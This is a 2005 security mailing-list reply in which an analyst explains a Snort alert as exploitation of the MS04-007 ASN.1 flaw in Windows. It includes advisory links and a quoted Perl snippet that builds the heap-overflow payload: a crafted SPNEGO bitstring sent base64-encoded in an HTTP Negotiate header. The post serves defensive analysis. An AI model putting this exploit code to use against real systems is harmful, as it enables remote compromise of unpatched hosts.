On Wednesday, June 08, 2005 1:32 PM, "Keith T. Morgan"
keith.morgan@terradon.com wrote:
] We've seen an attack that triggered a snort bleeding-edge hit for "smb
] over http authentication." This isn't particularly alarming, but, what
] caught my attention is what appears to be a very large buffer in part of
] the packet.
] The ascii decoded capture looks a bit like this:
] GET / HTTP/1.0
] Host: obfuscated
] Authorization: Negotiate <what may be an encrypted password>
] QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB.
] This "QUFB" string is repeated for 1400 bytes or so, and I'm assuming
] went beyond the single packet capture I have.
] The IIS logs indicate a simple GET / with a 401 response code.
] Has anyone seen this "QUFBQUFB" string in a worm, virus, or exploit
] floating around out there somewhere? I think chances of this being a FP
] are low since we're not using NTLM or windows native/ad authentication
] on this site.
Keith,
This is due to exploitation of a vulnerability [1] in Microsoft's ASN.1
implementation. This issue is patched in MS04-007 [2], which also fixed
another vulnerability reported by eEye [3].
We recently notified our clients after observing a surge in this activity
over the past several weeks, often from .edu sources. This which may be
related to the fact that a reliable (on Windows 2000 <= SP4 and XP <= SP1)
and easy to use exploit is available from Solar Eclipse [4] and has
recently been ported over to the Metasploit framework. [5] [6] Our lab
testing confirms that the Solar Eclipse exploit generates packets that
match what we're seeing in the wild.
A large amount of the traffic we observe attempting to exploit this
vulnerability is on port 80, although ports 139 and 445 are also exploit
vectors. Attacks on these ports have all been observed in conjunction with
rbot and sdbot variants. Keep in mind that port 25 (Exchange) and UDP 88
(Kerberos) are also potential avenues of attack.
I've included a snippet of the relevant code [7] from the exploit by Solar
Eclipse [4]. As dullien@gmx.de mentioned, the base64 encoding is
responsible for the string of 'AAA's (commonly used to overflow a buffer)
being seen as 'QUFB'.
[1] <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0818>
[2] <http://www.microsoft.com/technet/security/bulletin/MS04-007.mspx>
[3] <http://www.eeye.com/html/Research/Advisories/AD20040210.html>
[4] <http://www.phreedom.org/solar/exploits/msasn1-bitstring/> - a dir
listing from the parent directory shows this as last modified in late April
2005
[5]
<http://metasploit.com/projects/Framework/modules/exploits/msasn1_ms04_007_killbill.pm>
- ported from [4]
[6]
<http://metasploit.com:55555/EXPLOITS?MODULE=msasn1_ms04_007_killbill&MODE=PAYLOAD&OPT_TARGET=0>
[7] From <http://www.phreedom.org/solar/exploits/msasn1-bitstring/>
<snip>
Constructing the exploit
$bitstring =
constr(
bits("a"x1040),
"\x03\x00",
constr(
bits("B"x1033),
constr(
bits($fw, $bk)
),
constr(
bits("C"x1040),
constr(
bits("\xeb\06\x90\x90\x90\x90\x90\x90"),
bits("D"x1040),
)
)
)
);
$spnego =
"\x60" . asn1( # Application Constructed Object
"\x06\x06\x2b\x06\x01\x05\x05\x02" . # SPNEGO OID
"\xa0" . asn1( # NegTokenInit (0xa0)
"\x30" . asn1( # Constructed Sequence
"\xA1" . asn1( # ContextFlags (0xa1)
$bitstring
)
)
)
);
$request =
"GET / HTTP/1.1\r\n" .
"Authorization: Negotiate " . encode_base64($spnego, "") . "\r\n" .
[$spnego is the result of the above concatenations, which are then encoded
using base64]
"\r\n";
<snip>
Jason Falciola
Security Intelligence Analyst
IBM Managed Security Services
falciola@us.ibm.com
